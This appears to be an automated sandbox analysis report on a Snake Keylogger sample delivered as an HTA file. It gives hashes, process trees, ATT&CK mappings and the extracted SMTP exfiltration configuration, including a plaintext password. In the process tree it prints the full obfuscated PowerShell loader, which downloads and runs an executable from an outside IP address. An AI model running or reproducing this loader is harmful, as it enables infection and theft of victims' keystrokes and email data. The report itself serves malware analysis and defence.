snakekeylogger | 1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27-09-2024 14:45

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General

Target

17116a0f43508549998ef6618154d77a.hta
Size

115KB
MD5

17116a0f43508549998ef6618154d77a
SHA1

e71af8b0489263e476521a5fd6e22e5511369c4d
SHA256

1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64
SHA512

a6824f19100e0fd4c996ab8db64875fb1c0c0e4d045792793b45ad1e93cb358c6746289209d8d1f4634c6ebed9ade9e43a5b3407856780e7e60954efc249e9d9
SSDEEP

96:Ea+M7wmf6PCZ60NUrnPmeobQk9B6/A6I6L1j+Z668AT:Ea+Qwmf6PCZ6kUTWfz6Y6dKZ6+T

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.teilecar.com
Port:
587
Username:
[email protected]
Password:
Manta924porsche=911
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/1576-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1576-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1576-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2736	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2736	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1844	dllhost.exe

Loads dropped DLL 1 IoCs

pid	Process
2736	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x0009000000015689-21.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1844 set thread context of 1576	1844	dllhost.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2736	powershell.exe
2736	powershell.exe
2736	powershell.exe
1576	RegSvcs.exe
1576	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1844	dllhost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	1576	RegSvcs.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2984 wrote to memory of 2836	2984	mshta.exe	30
PID 2984 wrote to memory of 2836	2984	mshta.exe	30
PID 2984 wrote to memory of 2836	2984	mshta.exe	30
PID 2984 wrote to memory of 2836	2984	mshta.exe	30
PID 2836 wrote to memory of 2736	2836	cmd.exe	32
PID 2836 wrote to memory of 2736	2836	cmd.exe	32
PID 2836 wrote to memory of 2736	2836	cmd.exe	32
PID 2836 wrote to memory of 2736	2836	cmd.exe	32
PID 2736 wrote to memory of 2832	2736	powershell.exe	33
PID 2736 wrote to memory of 2832	2736	powershell.exe	33
PID 2736 wrote to memory of 2832	2736	powershell.exe	33
PID 2736 wrote to memory of 2832	2736	powershell.exe	33
PID 2832 wrote to memory of 2888	2832	csc.exe	34
PID 2832 wrote to memory of 2888	2832	csc.exe	34
PID 2832 wrote to memory of 2888	2832	csc.exe	34
PID 2832 wrote to memory of 2888	2832	csc.exe	34
PID 2736 wrote to memory of 1844	2736	powershell.exe	36
PID 2736 wrote to memory of 1844	2736	powershell.exe	36
PID 2736 wrote to memory of 1844	2736	powershell.exe	36
PID 2736 wrote to memory of 1844	2736	powershell.exe	36
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37
PID 1844 wrote to memory of 1576	1844	dllhost.exe	37

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\17116a0f43508549998ef6618154d77a.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\12oc928g.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2832
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7A30.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC7A2F.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2888
  - - C:\Users\Admin\AppData\Roaming\dllhost.exe
      "C:\Users\Admin\AppData\Roaming\dllhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1844
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Roaming\dllhost.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12oc928g.dll

Filesize
3KB

MD5
e649788fb73522c9d217ae69e89cce8b

SHA1
8b6d08947082594de34d6246583afa18d7567569

SHA256
32348956479f4b46f39b1c31363a3d50ed2d8a07e0dde17b34932967facb5a84

SHA512
fa2eb91d680806dc64eea38b439cc052136c73858780ba0afe03bfc7a0170471311df69ea6f38340793ae4582304eb4526fe0562d8e67f7448c356c6f1ab283c

Download Submit
C:\Users\Admin\AppData\Local\Temp\12oc928g.pdb

Filesize
7KB

MD5
bed7b79e3e0a072f549ca4b3852fb63e

SHA1
7a915b144a6ede7fc2bf2fbc77334b75a568f1e6

SHA256
a991a23d23a5c1bdbd28d8bc4eb73128f7df5627a07dc5c6de4305876fd53ff2

SHA512
dc649bd72bfda1650ae72eb6045a9464056cc98ced0dbc4c6eb2a79a47c5715649da368d3426df8d10c82e4583b266a44bf5cc67a9186de05661915b097d23eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7A30.tmp

Filesize
1KB

MD5
170e3c67de5af37e538331d963f4f4cf

SHA1
0e2f5187ec4c94fa345c98ebd1088bb06d67d341

SHA256
549490188fe60100502cf918c0f593eaa9590e1c3cf12ee409b5f6f6aed1b669

SHA512
e1dbecab63db159f8ac78bd14aa82113583e1f6f1091fb449bfc8d6ec162bb665f0dc38c49a838ad26fe1ce589c9e46b1ec95c43f3d7387f4b986274ab236a3b

Download Submit
C:\Users\Admin\AppData\Roaming\dllhost.exe

Filesize
956KB

MD5
249f4ca7f1cc801c87cebd0cdf0b398e

SHA1
1241f91fa9239ed0553c33f6d3651644813f6f84

SHA256
b639e9680b5ac670c7b58863479c1cf9c7bea436aee481fa9729c6a82508e556

SHA512
0b6ae1f507b5599f9fb651576e12ae378b66111193623d806f0e6266e8ee93f1fa5dedd4d4b96f3360fecc81962b76e9bacc7c1096a96df5b33fbd64aa6a18d6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\12oc928g.0.cs

Filesize
475B

MD5
74ac079a164eedfd18ee0237dead2da7

SHA1
62575f712ded8ea2637ee5e5eda8ae9cf2919dc1

SHA256
6c72d2a89a0a1d35a067d9322c4c94503d5a75a2e6308cbf9b7bc95e9396f615

SHA512
7994aaef91f02e10fd65e782063492a1658e9b1e6e6ffa3a54fce1ab14b39c19bbd3b61cea46908f87cfde0466ef53e3be352c003db797bef0c9f67875285dbb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\12oc928g.cmdline

Filesize
309B

MD5
8b4ba3db91b7a32e8afeb327051a3097

SHA1
1214eb244f578e99963eee8e9bbce12c4e19d9a6

SHA256
ce8f2d2309304ead46eb46ebcb9111a9b260a97a873bc050bc986080c77a9be4

SHA512
25bd442ee91d493b5e0cf57d7ab973f32f5bf044651ffc5ed60bfab53fb6e8d9f1e467bb568bc3d3581c0402fb831f36b7bfe3c8778d2d8b008e8d901c2bcfc4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC7A2F.tmp

Filesize
652B

MD5
ee9a738f7fc3f3327f1d0c474bf9ab7b

SHA1
20aa2b8623b2e1ebc34ac14ce5b4f07820a9cc69

SHA256
d6eddbeecb9eab68b1a2669bf29b359a7f8e45e2b58c42c479338ef7b074578f

SHA512
f6277561406ca67813352f0dd71055784a76a320722db34c4ab70e4e8d2145749b0b695bbb8ea3ed1919869c90d26ceebf148a26f1f7de7faf747c1a366dd79d

Download Submit
memory/1576-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1576-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1576-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download